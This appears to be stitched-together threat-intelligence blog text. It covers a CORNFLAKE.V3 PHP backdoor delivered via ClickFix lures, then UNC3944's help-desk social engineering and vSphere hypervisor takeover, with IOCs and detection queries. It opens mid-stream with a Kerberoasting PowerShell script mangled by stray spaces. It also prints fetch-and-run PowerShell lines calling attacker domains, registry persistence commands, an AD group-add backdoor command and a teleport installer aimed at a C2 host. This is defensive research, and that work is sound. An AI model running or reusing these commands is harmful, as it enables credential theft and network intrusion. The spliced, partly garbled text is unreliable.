$a = 'System.IdentityModel'; $b = [Reflection.Assembly]::LoadWithPartialName($a); $c = New - Object DirectoryServices.DirectorySearcher([ADSI]''); $c.filter = '(&(servicePrincipalName=*)(objectCategory=user))'; $d = $c.Findall(); foreach($e in $d) { $f = $e.GetDirectoryEntry(); $g = $f.samAccountName; if ($g - ne 'krbtgt') { Start - Sleep - Seconds (Get - Random - Minimum 1 - Maximum 11); foreach($h in $f.servicePrincipalName) { $i = $null; try { $i = New - Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken - ArgumentList $h; } catch {} if ($i - ne $null) { $j = $i.GetRequest(); if ($j) { $k = [System.BitConverter]::ToString($j) - replace'-'; [System.Collections.ArrayList]$l = ($k - replace'^(.*?)04820...(.*)', '$2') - Split'A48201'; $l.RemoveAt($l.Count - 1); $m = $l - join'A48201'; try { $m = $m.Insert(32, '$'); $n = '$krb5tgs$23$*' + $g + '/' + $h + '*$' + $m; Write - Host $n; break; } catch {}}}}}} PHP Variant

Mandiant Threat Defense recently observed a new PHP-based CORNFLAKE.V3 variant which has similar functionality to the previous Node.js based iterations.

This version was dropped by an in-memory script which was executed as a result of interaction with a malicious ClickFix lure page.

The script downloads the PHP package from windows.php[.]net, writes it to disk as php.zip and extracts its contents to the C:\Users\<User>\AppData\Roaming\php\ directory. The CORNFLAKE.V3 PHP sample is contained in the config.cfg file that was also dropped in the same directory and executed with the following command line arguments:

"C:\\Users\<User>\AppData\Roaming\php\php.exe" -d extension=zip -d extension_dir=ext C:\Users\<User>\AppData\Roaming\php\config.cfg 1

To maintain persistence on the host, this variant utilizes a registry Run key named after a randomly chosen directory in %APPDATA% or %LOCALAPPDATA% instead of the fixed ChromeUpdater string used in the Node.js version. To communicate with its C2 a unique path is generated for each request, unlike the static /init1234 path:

POST /ue/2&290cd148ed2f4995f099b7370437509b/fTqvlt HTTP/1.1 Host: varying-rentals-calgary-predict.trycloudflare[.]com Connection: close Content-Length: 39185 Content-type: application/octet-stream

Much like the Node.js version, the last byte of the received payload determines the payload type, however, these values differ in the PHP version:

Command

Type

Notes

0

EXE

This decrypted content is saved to a temporary executable file (<rand_8_char>.exe) created in a random directory within the user's %APPDATA% folder, and executed through PowerShell as a hidden process.

1

DLL

The decrypted content is saved as a <rand_8_char>.png file in a temporary directory within the user's %APPDATA% folder. Subsequently, rundll32.exe is invoked to execute the downloaded file.

2

JS

This decrypted content is saved as a <rand_8_char>.jpg file in a temporary directory within the user's %APPDATA% folder. The script attempts to check if Node.js is installed. If Node.js is not found or fails to install from a hardcoded URL (http://nodejs[.]org/dist/v21.7.3/node-v21.7.3-win-x64.zip), an error message is printed. If Node.js is available, the downloaded JavaScript (.jpg) file is executed using node.exe.

3

CMD

This decrypted data is executed as a provided command string via cmd.exe or powershell.exe.

4

ACTIVE

This command reports the active_cnt (stored in the $qRunq global variable) to the C2 server. This likely serves as a heartbeat or activity metric for the implant.

5

AUTORUN

The malware attempts to establish persistence by adding a registry entry in HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run that points to the script's PHP binary and its own path.

6

OFF

This command directly calls exit(0), which terminates the PHP script's execution.

 

OTHER

If none of the specific commands match, the received data is saved as a .txt file in a temporary directory within the user's %APPDATA% folder.

Table 3: CORNFLAKE.V3 PHP variant supported payloads

The Javascript payload execution functionality was retained by implementing the download of the Node.js runtime environment inside the JS command. Other notable changes include the change of the DLL and JS payload file extensions into .png and .jpg to evade detection and the addition of the ACTIVE and AUTORUN commands. However, the main functionality of the backdoor remains unchanged despite the transition from Node.js to PHP.

These changes suggest an ongoing effort by the threat actor to refine their malware against evolving security measures.

Executed Payloads Active Directory Reconnaissance

A cmd.exe reconnaissance payload similar to the one encountered in the Node.js variant was received from the C2 server and executed. The script checks if the machine is part of an Active Directory domain and collects the following information using powershell:

Domain Joined

• Total count of computer accounts in AD.

• Domain trust relationships.

• List of all Domain Controllers.

• Members of the "Domain Admins" group.

• User accounts configured with a Service Principal Name (SPN).

• All local groups and their members

• Current User name, SID, local group memberships and security privileges

Not Domain Joined

• All local groups and their members

• Current User name, SID, local group memberships and security privileges

WINDYTWIST.SEA Backdoor

Following the interaction with its C2 server, a DLL payload (corresponding to command 1) was received, written to disk as C:\Users\<User>\AppData\Roaming\Shift194340\78G0ZrQi.png and executed using rundll32. This file was a WINDYTWIST.SEA backdoor implant configured with the following C2 servers:

tcp://167.235.235[.]151:443 tcp://128.140.120[.]188:443 tcp://177.136.225[.]135:443

This implant is a C version of the Java WINDYTWIST backdoor, which supports relaying TCP traffic, providing a reverse shell, executing commands, and deleting itself. In previous intrusions, Mandiant observed WINDYTWIST.SEA samples attempting to move laterally in the network of the infected machine.

The following process tree was observed during the infection:

explorer.exe ↳ C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe "-c irm dnsmicrosoftds-data[.]com/log/out | clip; & ([scriptblock]::Create((Get-Clipboard) -join (""+[System.Environment]::NewLine)))" ↳ C:\WINDOWS\system32\clip.exe ↳ C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe "-w H -c irm windows-msg-as[.]live/qwV1jxQ" ↳ C:\WINDOWS\system32\systeminfo.exe ↳ C:\Users\<user>\AppData\Roaming\php\php.exe "-d extension=zip -d extension_dir=ext C:\Users\<user>\AppData\Roaming\php\config.cfg 1 {CORNFLAKE.V3}" ↳ cmd.exe /s /c "powershell -c {Multiple PS Commands for Host Reconnaissance}" ↳ cmd.exe /s /c "powershell -c {Multiple PS Commands for Host Reconnaissance}" ↳ cmd.exe /s /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "random_appdata_dirname" /t REG_SZ /d "\"<php_binary_path>" \"<script_path>"" /f" ↳ powershell.exe ↳ C:\Windows\System32\rundll32.exe "{WINDYTWIST.SEA Backdoor}" start Conclusion

This investigation highlights the collaborative nature of modern cyber threats, where UNC5518 leverages compromised websites and deceptive ClickFix lures to gain initial access. This access is then utilized by other actors like UNC5774, who deploy versatile malware such as the CORNFLAKE.V3 backdoor. The subsequent reconnaissance and credential harvesting activities we observed indicate that the attackers intend to move laterally and expand their foothold in the environment.

To mitigate malware execution through ClickFix, organizations should disable the Windows Run dialog box where possible. Regular simulation exercises are crucial to counter this and other social engineering tactics. Furthermore, robust logging and monitoring systems are essential for detecting the execution of subsequent payloads, such as those associated with CORNFLAKE.V3.

Acknowledgements

Special thanks to Diana Ion, Yash Gupta, Rufus Brown, Mike Hunhoff, Genwei Jiang, Mon Liclican, Preston Lewis, Steve Sedotto, Elvis Miezitis and Rommel Joven for their valuable contributions to this blog post.

Detection Through Google Security Operations

For detailed guidance on hunting for this activity using the following queries, and for a forum to engage with our security experts, please visit our companion post on the Google Cloud Community blog.

Mandiant has made the relevant rules available in the Google SecOps Mandiant Frontline Threats curated detections rule set. The activity discussed in the blog post is detected in Google SecOps under the rule names:

• Powershell Executing NodeJS

• Powershell Writing To Appdata

• Suspicious Clipboard Interaction

• NodeJS Reverse Shell Execution

• Download to the Windows Public User Directory via PowerShell

• Run Utility Spawning Suspicious Process

• WSH Startup Folder LNK Creation

• Trycloudflare Tunnel Network Connections

SecOps Hunting Queries

The following UDM queries can be used to identify potential compromises within your environment.

Execution of CORNFLAKE.V3 — Node.js 

Search for potential compromise activity where PowerShell is used to launch node.exe from %AppData% path with the -e argument, indicating direct execution of a malicious JavaScript string.

metadata.event_type = "PROCESS_LAUNCH" principal.process.file.full_path = /powershell\.exe/ nocase target.process.file.full_path = /appdata\\roaming\\.*node\.exe/ nocase target.process.command_line = /"?node\.exe"?\s*-e\s*"/ nocase Execution of CORNFLAKE.V3 — PHP

Search for compromise activity where PowerShell is executing php.exe from %AppData% path. This variant is characterized by the use of the -d argument, executing a PHP script without a .php file extension, and passing the argument 1 to the PHP interpreter, indicating covert execution of malicious PHP code.

metadata.event_type = "PROCESS_LAUNCH" principal.process.file.full_path = /powershell\.exe/ nocase target.process.file.full_path = /appdata\\roaming\\.*php\.exe/ nocase target.process.command_line = /"?php\.exe"?\s*-d\s.*1$/ nocase target.process.command_line != /\.php\s*\s*/ nocase CORNFLAKE.V3 Child Process Spawns

Search suspicious process activity where cmd.exe or powershell.exe are spawned as child processes from node.exe or php.exe when those executables are located in %AppData%.

metadata.event_type = "PROCESS_LAUNCH" principal.process.file.full_path = /appdata\\roaming\\.*node\.exe|appdata\\roaming\\.*php\.exe/ nocase target.process.file.full_path = /powershell\.exe|cmd\.exe/ nocase Suspicious Connections to Node.js/PHP Domains

Search unusual network connections initiated by powershell.exe or mshta.exe to legitimate Node.js (nodejs.org) or PHP (windows.php.net) infrastructure domains.

metadata.event_type = "NETWORK_CONNECTION" principal.process.file.full_path = /powershell\.exe|mshta\.exe/ nocase target.hostname = /nodejs\.org|windows\.php\.net/ nocase Indicators of Compromise (IOCs)

A Google Threat Intelligence (GTI) collection of IOCs is available to registered users.

Host-Based Artifacts

Artifact

Description

SHA-256 Hash

C:\Users\<User>\AppData\Roaming\node-v22.11.0-win-x64\ckw8ua56.log

Copy of the CORNFLAKE.V3 (Node.js) sample used for persistence

000b24076cae8dbb00b46bb59188a0da5a940e325eaac7d86854006ec071ac5b

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ChromeUpdater

Registry run key that executes the CORNFLAKE.V3 (Node.js) sample

N/A

C:\Users\<User>\AppData\Roaming\php\config.cfg

CORNFLAKE.V3 (PHP) sample

a2d4e8c3094c959e144f46b16b40ed29cc4636b88616615b69979f0a44f9a2d1

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\iCube

Registry run key that executes the CORNFLAKE.V3 (PHP) sample

N/A

C:\Users\<User>\AppData\Roaming\Shift194340\78G0ZrQi.png

WINDYTWIST.SEA backdoor sample dropped by CORNFLAKE.V3 (PHP)

14f9fbbf7e82888bdc9c314872bf0509835a464d1f03cd8e1a629d0c4d268b0c

Network-Based Artifacts

IP Address

Description

138.199.161[.]141

IP address associated with UNC5518 used to distribute CORNFLAKE.V3 (Node.js) malware

159.69.3[.]151

CORNFLAKE.V3 (Node.js) C2 server associated with UNC5774

varying-rentals-calgary-predict.trycloudflare[.]com

CORNFLAKE.V3 (PHP) C2 server associated with UNC5774

dnsmicrosoftds-data[.]com

windows-msg-as[.]live

Domains associated with UNC5518 used to distribute CORNFLAKE.V3 (PHP) malware

167.235.235[.]151

128.140.120[.]188

177.136.225[.]135

WINDYTWIST.SEA backdoor C2 server addresses associated with UNC5774

Introduction

In mid 2025, Google Threat Intelligence Group (GTIG) identified a sophisticated and aggressive cyber campaign targeting multiple industries, including retail, airline, and insurance. This was the work of UNC3944, a financially motivated threat group that has exhibited overlaps with public reporting of "0ktapus," "Octo Tempest," and "Scattered Spider." Following public alerts from the Federal Bureau of Investigation (FBI), the group's targeting became clear. GTIG observed that the group was suspected of turning its ransomware and extortion operations to the U.S. retail sector. The campaign soon broadened further, with airline and transportation organizations in North America having also become targets.

The group's core tactics have remained consistent and do not rely on software exploits. Instead, they use a proven playbook centered on phone calls to an IT help desk. The actors are aggressive, creative, and particularly skilled at using social engineering to bypass even mature security programs. Their attacks are not opportunistic but are precise, campaign-driven operations aimed at an organization's most critical systems and data.

Their strategy is rooted in a "living-off-the-land" (LoTL) approach. After using social engineering to compromise one or more user accounts, they manipulate trusted administrative systems and use their control of Active Directory as a launchpad to pivot to the VMware vSphere environment, thus providing an avenue to exfiltrate data and deploy ransomware directly from the hypervisor. This method is highly effective as it generates few traditional indicators of compromise (IoCs) and bypasses security tools like endpoint detection and response (EDR), which often have limited or no visibility into the ESXi hypervisor and vCenter Server Appliance (VCSA).

This blog post provides a deep dive into the anatomy of UNC3944's vSphere-centric attacks and outlines a fortified, multi-pillar defense strategy required for mitigation. Learn more about the risks associated with integrating VMware vSphere with Microsoft Active Directory. Additionally, register for our upcoming webinar to learn these strategies directly from Mandiant experts.

vSphere Logging Fundamentals 

Before discussing key detection signals and hardening strategies related to UNC3944’s vSphere-related operations, it's important to understand vSphere logging and the distinction between vCenter Events and ESXi host logs. When forwarded to a central syslog server, vCenter Server events and ESXi host logs represent two distinct yet complementary sources of data. Their fundamental difference lies in their scope, origin, and the structured, event-driven nature of vCenter logs versus the verbose, file-based output of ESXi.

1. vCenter Server (VC Events)

vCenter events operate at the management plane, providing a structured audit trail of administrative actions and automated processes across the entire virtual environment. Each event is a discrete, well-defined object identified by a unique eventTypeId, such as VmPoweredOnEvent or UserLoginSessionEvent. This programmatic identification makes them ideal for ingestion into Security Information and Event Management (SIEM) platforms like Splunk or Google Chronicle for automated parsing, alerting, and security analysis.

Figure 1: VC Event log structure

• Native storage & syslog forwarding: These events are generated by vCenter Server and stored within its internal VCSA database (PostgreSQL). When forwarded, vCenter streams a real-time copy of these structured events to the syslog server. The resulting log message typically contains the formal eventTypeId along with its human-readable description, allowing for precise analysis.

• Primary use cases:

• Security auditing & forensics: Tracking user actions, permission changes, and authentication

• Change management: Providing a definitive record of all configuration changes to clusters, hosts, and virtual machines (VMs)

• Automated alerting: Triggering alerts in a SIEM or monitoring tool based on specific eventTypeIds (e.g., HostCnxFailedEvent)

• Examples of vCenter Events: As documented in resources like the vCenter Event Mapping repository, each event has a specific programmatic identifier.

• UserLoginSessionEvent

• Description: "User {userName}@{ipAddress} logged in as {locale}"

• Significance: A critical security event for tracking all user access to the vCenter management plane

• VmCreatedEvent

• Description: "Created virtual machine {vm.name} on {host.name} in {datacenter.name}"

• Significance: Logs the creation of new inventory objects, essential for asset management and change control

• VmPoweredOffEvent

• Description: "Virtual machine {vm.name} on {host.name} in {datacenter.name} is powered off"

• Significance: Tracks the operational state and availability of workloads. An unexpected power-off event is a key indicator for troubleshooting.

Note on VCSA Logging Limitations: The VCSA does not, out-of-the-box, support forwarding critical security logs for denied network connections or shell command activity. To enable this non-default capability, a custom configuration at the native Photon OS level is required. This is an agentless approach that leverages only built-in Linux tools (like iptables and logger) and does not install any third-party software. This configuration pipes firewall and shell events into the VCSA's standard rsyslog service, allowing the built-in remote logging mechanism to forward them to a central SIEM.

2. ESXi Host Logs 

ESXi logs operate at the hypervisor level, providing granular, host-specific operational data. They contain detailed diagnostic information about the kernel, hardware, storage, networking, and services running directly on the ESXi host.

• Native storage: These logs are enabled by default and stored as a collection of plain text files on the ESXi host itself, primarily within the /var/log/ directory. This storage is often a local disk or a persistent scratch partition. If a persistent location is not configured, these logs are ephemeral and will be lost upon reboot, making syslog forwarding essential for forensics.

Figure 2: ESXi standard log structure

• Primary use cases:
  • Deep-dive troubleshooting of performance issues
  • Diagnosing hardware failures or driver issues
  • Analyzing storage and network connectivity problems
• Examples of ESXi log entries sent to syslog:
  • (from vmkernel.log): Detailed logs about storage device latency
  • (from hostd.log): Logs from the host agent, including API calls, VM state changes initiated on the host, and host service activity
  • (from auth.log): Records of successful or failed login attempts directly to the host via SSH or the DCUI

3. ESXi Host Audit Logs

ESXi audit records provide a high-fidelity, security-focused log of actions performed directly on an ESXi host. The following analysis of the provided example demonstrates why this log source is forensically superior to standard logs for security investigations. These logs are not enabled by default.

• Native storage & persistence: These records are written to audit.*.log on the host's local filesystem, governed by the Syslog.global.auditRecord.storageEnable = TRUE parameter. Persistent storage configuration is critical to ensure this audit trail survives a reboot.

Figure 3: ESXi audit log structure

• Forensic analysis: standard vs. audit log: In the provided scenario, a threat actor logs into an ESXi host, attempts to run malware, and disables the execInstalledOnly security setting. Here is how each log type captures this event:

• Standard syslog shell.log analysis: The standard log provides a simple, chronological history of commands typed into the shell.

Figure 4: ESXi standard log output

• • Limitations:
    • No login context: It does not show the threat actors source IP address or that the initial SSH login was successful.
    • No outcome: It shows the command ./malware was typed but provides no information on whether it succeeded or failed.
    • Incomplete narrative: It is merely a command history, lacking the essential context needed for a full security investigation.
• ESXi audit log analysis: The ESXi audit log provides a rich, structured, and verifiable record of the entire session, from connection to termination, including the outcome of each command.

Figure 5: ESXi audit log output

• • Successful login: It explicitly records the successful authentication, including the source IP.
  • Failed malware execution: This is the most critical distinction. The audit log shows that the malware execution failed with an exit status of 126.
  • Successful security disablement: It then confirms that the command to disable a key security feature was successful.

This side-by-side comparison proves that while standard ESXi logs show a threat actor's intent, the ESXi audit log reveals the actual outcome, providing actionable intelligence and a definitive forensic trail. A comprehensive logging strategy for a vSphere environment requires the collection and analysis of three distinct yet complementary data sources. When forwarded to a central syslog server, vCenter Server events, ESXi host audit records, and standard ESXi operational logs provide a multilayered view of the environment's security, administrative changes, and operational health.

Characteristic

vCenter Server Events

ESXi Audit Logs

ESXi Standard Logs

Scope

Virtual Center, ESXI

ESXi

ESXi

Enabled by Default

Yes

No

Yes

Format

Structured Objects (eventTypeId)

Verbose, Structured Audit Entries

Unstructured/Semi-structured Text

Type

Administrative, Management, Audit

Security Audit, Kernel-level Actions

Management, System-Level State

Primary Storage

VCSA Internal Database

Local Filesystem (audit.log)

Local Filesystem (/var/log/)

Primary Use Case

Central Auditing, Full Cluster Management, Forensics 

Direct Host Forensics, Compliance

Deep Troubleshooting, Diagnostics

Table 1: Comparison of ESXi Logs and vCenter Events

Anatomy of an Attack: The Playbook

UNC3944’s attack unfolds across five distinct phases, moving methodically from a low-level foothold to complete hypervisor control.

Figure 6: Typical UNC3944 attack chain

Phase 1: Initial Compromise, Recon, and Escalation

This initial phase hinges on exploiting the human element.

• The tactic: The threat actor initiates contact by calling the IT help desk, impersonating a regular employee. Using readily available personal information from previous data breaches and employing persuasive or intimidating social engineering techniques, they build rapport and convince an agent to reset the employee's Active Directory password. Once they have this initial foothold, they begin a two-pronged internal reconnaissance mission:
  • Path A (information stores): They use their new access to scan internal SharePoint sites, network drives, and wikis. They hunt for IT documentation, support guides, org charts, and project plans that reveal high-value targets. This includes not only the names of individual Domain or vSphere administrators, but also the discovery of powerful, clearly named Active Directory security groups like "vSphere Admins" or "ESX Admins" that grant administrative rights over the virtual environment.
  • Path B (secrets stores): Simultaneously, they scan for access to password managers like HashiCorp Vault or other Privileged Access Management (PAM) solutions. If they find one with weak access controls, they will attempt to enumerate it for credentials.

Armed with the name of a specific, high-value administrator, they make additional calls to the help desk. This time, they impersonate the privileged user and request a password reset, allowing them to seize control of a privileged account.

• Why it's effective: This two-step process bypasses the need for technical hacking like Kerberoasting for the initial escalation. The core vulnerability is a help desk process that lacks robust, non-transferable identity verification for password resets. The threat actor is more confident and informed on the second call, making their impersonation much more likely to succeed.

• Key detection signals:

  • [LOGS] Monitor for command-line and process execution: Implement robust command-line logging (e.g., via Audit Process Creation, Sysmon Event ID 1 or EDR). Create alerts for suspicious remote process execution, such as wsmprovhost.exe (WinRM) launching native tools like net.exe to query or modify sensitive groups (e.g., net group "ESX Admins" /add).

  • [LOGS] Monitor for group membership changes: Create high-priority alerts for AD Event ID 4728 (A member was added to a security-enabled global group) or 4732 (local group) for any changes to groups named "vSphere Admins," "ESX Admins," or similar.

  • [LOGS] Correlate AD password resets with help desk activity: Correlate AD Event ID 4724 (Password Reset) and the subsequent addition of a new multi-factor authentication (MFA) device with help desk ticket logs and call records.

  • [BEHAVIOR] Alert on anomalous file access: Alert on a single user accessing an unusually high volume of disparate files or SharePoint sites, which is a strong indicator of the reconnaissance seen during UNC3944 activity.

  • [CRITICAL BEHAVIOR] Monitor Tier 0 account activity: Any password reset on a Tier 0 account (Domain Admin, Enterprise Admin, vSphere) must be treated as a critical incident until proven otherwise.

• Critical hardening and mitigation:

  • [CRITICAL] Prohibit phone-based resets for privileged accounts: For all Tier 0 accounts, enforce a strict "no password resets over the phone" policy. These actions must require an in-person, multipart, or high-assurance identity verification process.

  • Protect and monitor privileged AD groups: Treat these groups as Tier 0 assets: tightly control who can modify their membership and implement the high-fidelity alerting for any membership change (AD Event ID 4728/4732). This is critical as threat actors will use native tools like net.exe, often via remote protocols like WinRM, to perform this manipulation. Avoid using obvious, non-obfuscated names like "vSphere Admins" for security groups that grant high-level privileges

  • Harden information stores: Implement data loss prevention (DLP) and data classification to identify and lock down sensitive IT documentation that could reveal high-value targets. Treat secrets vaults as Tier 0 assets with strict, least-privilege access policies.

  • Restrict or monitor remote management tools: Limit the use of remote management protocols like WinRM and vSphere management APIs to authorized administrative subnets and dedicated PAWs. Log all remote commands for review and anomaly detection.

Table 2 displays threat actors actions in support of Active Directory escalation along with process and command-line data that an organization may use to detect this activity.

Process Name

Command Line

Tactic

Threat Actor's Goal

explorer.EXE

"C:\Program Files...\WORDPAD.EXE" "\10.100.20.55\c$\Users\j.doe...\ACME Power Division\Documents\Procedure for Deploying ESXi...docx"

Reconnaissance

Threat actor, using a compromised user account, opens IT procedure documents to understand the vSphere environment and find target names.

explorer.EXE

"C:...\NOTEPAD.EXE" \prd-mgmt-srv02.acme-corp.local\c$\Users\adm-svc-vcenter\Desktop\ESX HOST CLUSTER ISSUE.txt

Reconnaissance

Threat actor continues recon, opening files on a management server that likely contain names of systems, groups, or administrators.

wsmprovhost.exe

"C:...\net.exe" group "ESX Admins"

Enumeration

Having found the group name, the threat actors use WinRM to remotely query the membership of the "ESX Admins" group to identify targets.

wsmprovhost.exe

"C:...\net.exe" group "ESX Admins" ACME-CORP\temp-adm-bkdr /add

Manipulation

This is the key attack. The threat actor adds their controlled account (temp-adm-bkdr) to the "ESX Admins" group, granting it full admin rights to vSphere.

wsmprovhost.exe

"C:...\net.exe" group "ESX Admins"

Verification

The threat actor queries the group again immediately after the modification to confirm that their malicious user was successfully added.

Table 2: Active Directory user escalation

Phase 2: The Pivot to vCenter — The Control Plane Compromise 

With mapped Active Directory to vSphere credentials, the threat actors turn their sights on the heart of the virtual environment.

• The tactic: They use the compromised credentials to log into the vSphere vCenter Server GUI. From there, they leverage their vCenter Admin rights to gain what amounts to "virtual physical access" to the VCSA itself. They open a remote console, reboot the appliance, and edit the GRUB bootloader to start with a root shell (init=/bin/bash), giving them passwordless root access. They then change the root password to enable SSH access upon reboot. To maintain their foothold, they upload and execute teleport, a legitimate open source remote access tool, to create a persistent and encrypted reverse shell (C2 channel) that bypasses most firewall egress rules.
• Why it's effective: vCenter’s delegation of trust in Active Directory often via LDAP(S) means the initial login isn't protected by MFA. The VCSA takeover abuses a fundamental privilege of a virtual environment administrator—the ability to interact with a VM's console pre-boot.
• Key detection signals:
  • [LOGS] Monitor vCenter events for logins (com.vSphere.vc.UserLoginSessionLoginSuccessEvent) (com.vSphere.vc.UserLoginSessionLoginFailureEvent) and reboot (com.vSphere.vc.appliance.ApplianceRebootEvent).
  • [LOGS] Monitor for log entries with prefixes like "SSH" in remote VCSA syslog to detect dropped SSH attempts or other blocked traffic via iptables.
  • [LOGS] On the VCSA, monitor journald and implement VCSA remote forwarding of logs to a SIEM to detect unauthorized shell access and the enablement of the SSH and Shell service.

Figure 7: Remote syslog events for enablement of VCSA SSH service

• • [NETWORK] Use Network Flow Logs to spot anomalous outbound connections from the VCSA's IP address.
  • [NETWORK] Unusual DNS Requests from vCenter - This detection identifies when a vSphere vCenter server makes DNS requests for domains that are not on the explicit allow list of known, trusted sites (e.g., vSphere.com, ntp.org, or internal domains).
  • [LOGS] Use of cURL or Wget to download tools: This detection can identify the use of command-line utilities like cURL or Wget on a critical server (such as a vCenter, Domain Controller, or database server) to download a file from an external URL.
• Critical hardening and mitigation:
  • [CRITICAL] Enable the VCSA remote logging: Implement remote syslog forwarding on the VCSA appliance. 
  • [CRITICAL] Enforce phishing-resistant MFA on vCenter: Implement a phishing-resistant MFA solution, such as FIDO2/WebAuthn, for all vCenter logins by federating authentication with a supported identity provider. This is a critical control that directly neutralizes the threat of credential theft, rendering phishing attacks against vCenter users ineffective.
  • [CRITICAL] Enforce least privilege in vCenter: Strictly limit the use of the Administrator role, reserving it for dedicated "break glass" accounts only such as [email protected]. Instead, create granular, custom roles for specific job functions to ensure users and groups only have the minimum permissions necessary, breaking the link between a compromised AD account and a full vCenter takeover.
  • [CRITICAL] Use the VCSA firewall and block shell access: Block all unnecessary outbound internet traffic from the VCSA using egress filtering and its built-in firewall. Disable the SSH and BASH shells by default. This thwarts the teleport backdoor and makes the VCSA takeover significantly more difficult.
  • [CRITICAL] Configure the VCSA's underlying iptables firewall: Enforce a Zero Trust allow-list for all management interfaces (443, 5480, 22) and enable logging for all denied connections. The default VCSA GUI firewall can be disabled by an attacker with a compromised web session and, crucially, it does not log blocked connection attempts. By configuring iptables at the OS level, the rules become immune to GUI tampering, and every denied connection is logged and forwarded to your SIEM.

Table 3 displays threat actor actions in support of Teleport Installation along with key evidence that an organization may use to detect this activity.

Tactic

Key Evidence 

Threat Actor's Goal

Execute Script & Assert Privileges

sudo: root : ... COMMAND=/usr/bin/bash -c '#!/bin/bash...'

assert_running_as_root()

The threat actor executes the installer via sudo. The script's first action is to confirm it has the root permissions required for system-wide installation.

Define Installation Parameters

SCRIPT_NAME="teleport-installer"

TELEPORT_BINARY_DIR="/usr/local/bin"

TELEPORT_CONFIG_PATH="/etc/teleport.yaml"

The script defines its core parameters, including where the backdoor's binaries and configuration files will be placed on the compromised VCSA's filesystem.

Hardcode C2 & Authentication Details

TARGET_HOSTNAME='c2.attacker.net'

JOIN_TOKEN='[REDACTED_JOIN_TOKEN]'

CA_PIN_HASHES='sha256:[REDACTED_CA_PIN_HASH]

The threat actor embeds the unique, pre-generated credentials required for the agent to connect and authenticate to their external command-and-control (C2) server

Detect OS & Select Package Type

if [[ ${f} != "tarball"
&& ${f} != "deb" ...

The script contains logic to detect the underlying operating system (e.g., Debian, RHEL, or a generic Linux like the VCSA) to ensure it uses the correct installation package (.deb, .rpm, or .tar.gz).

Download & Install Binaries

Script logic proceeds to download the 'tarball' package and unpacks binaries to /usr/local/bin

Based on the OS detection, the script would then download the appropriate Teleport package from an threat actor-controlled source and install the binaries (teleport, tsh, tctl) into the predefined directory.

Establish Persistence

SYSTEMD_UNIT_PATH="/lib/systemd/
system/teleport.service"

[Implied Action] Script creates and enables a systemd unit file

To ensure the backdoor survives reboots, the script creates a systemd service file using the defined path. It then enables and starts the teleport service, which initiates the final, persistent connection to the C2 server.

Table 3: VCSA Teleport installation

Phase 3: The Hypervisor Heist — Offline Credential Theft and Exfiltration

This is where the threat actor leverages their vSphere control to operate beneath the notice of in-guest security and EDR.

• The tactic: From vCenter, the threat actor enables SSH on the ESXi hosts and reset their root passwords. They then execute an offline attack by identifying a Domain Controller VM, powering it off, and detaching its virtual disk (.vmdk). This disk is then attached as a secondary drive to a forgotten or "orphaned" VM they control. From this unmonitored machine, they copy the NTDS.dit Active Directory database. The process is then reversed, and the DC is powered back on as if nothing happened. The stolen data is then moved in a two-stage process: first, an internal transfer from the orphaned VM to the compromised VCSA using sftp, and second, an external exfiltration from the VCSA through the already-established teleport C2 channel to a threat actor controlled cloud service.
• Why it's effective: This entire operation occurs at the hypervisor layer, making it invisible to any EDR or security agent running inside the Domain Controller's operating system. The use of the VCSA as a data funnel bypasses any network segmentation rules.

Table 4 displays threat actor actions in support of VM data exfiltration along with key evidence that an organization may use to detect this activity.

Tactic

Evidence Source

Key Evidence

Threat Actor's Goal

Identify Target VM

Browser History

URL: https://vcsa-prod-01.acme.local/ui/...

Page Title: vSphere - ACME-DC01 - Datastores

The threat actor, logged in as a compromised user , browses the vSphere UI to locate the virtual machine for the target Domain Controller (ACME-DC01).

Identify Staging VM

Browser History

URL: https://vcsa-prod-01.acme.local/ui/...

Page Title: vSphere - OLD-APPSRV-01 - Networks

The threat actor identifies a seemingly abandoned server (OLD-APPSRV-01) to use as their staging VM, onto which they will mount the DC's disk.

Execute Disk Swap

vCenter Event Log

Event: [vim.event.VmReconfiguredEvent]

User: ACME\threat.actor

Action: Reconfigured OLD-APPSRV-01 on esxi-prod-02.acme.local

The threat actor triggers a VM reconfiguration on the staging VM. This is the start of the disk attachment process.

Confirm Disk Attachment

vCenter Event Log

Device Change: ...backing = (fileName = 'ds:///vmfs/volumes/.../ACME-DC01/ACME-DC01_4.vmdk' ...)

The log shows a disk device being modified on the staging VM. The source file path clearly shows that the virtual disk (.vmdk) belonging to the Domain Controller (ACME-DC01) is being attached.

Confirm Host Execution

ESXi Host Log (hostd.log)

Task: VpxaTask: VpxaReconfigVM /vmfs/volumes/.../OLD-APPSRV-01/OLD-APPSRV-01.vmx

Simultaneously, the ESXi host logs the ReconfigVM_Task being executed against the staging VM, confirming the action was carried out at the hypervisor level.

Table 4: Virtual machine data exfiltration

• Key detection signals:
  • [BEHAVIOR] Monitor for reconnaissance in the vSphere UI: Before the attack, the threat actor browses the vSphere client to identify their target (e.g., a VM named ACME-DC01) and their staging VM (OLD-APPSRV-01). If UI access logs or browser histories from admin workstations are available, correlating suspicious browsing patterns with a subsequent reconfiguration event can provide very early warning.
  • [LOGS] Scrutinize: As shown in this anonymised real-world example, a vim.event.VmReconfiguredEvent for the staging VM (e.g., OLD-APPSRV-01) will contain the file path of the target VM's disk in its configuration details (e.g., backing = (fileName = '.../ACME-DC01/ACME-DC01_4.vmdk' ...)). Create high-priority alerts that parse this event data to detect when a disk from a critical asset is attached to any non-standard machine.
  • [LOGS] Correlate the full event sequence: A high-fidelity alert can be built by correlating the full sequence of vCenter events on a critical asset: VmPoweredOffEvent, followed by the VmReconfiguredEvent previously detailed, and eventually a VmPoweredOnEvent combined with a restart initiated by vmtoolsd.exe, along with supporting Windows guest events like 6006 (shutdown) and 6005 (startup).
  • [BEHAVIOR] Create CRITICAL alerts for any power-on or reconfiguration event on VMs located in a "Decommissioned" or "Orphaned" folder as these are prime candidates for the threat actors staging VM.
  • [LOGS] Monitor ESXi host changes: Alert on SSH service start via vCenter events (vim.event.HostServiceStartedEvent), firewall configuration changes (vim.event.HostFirewallInfoChangedEvent), and direct root shell access logs on the ESXi hosts themselves.
• Critical hardening and mitigation:
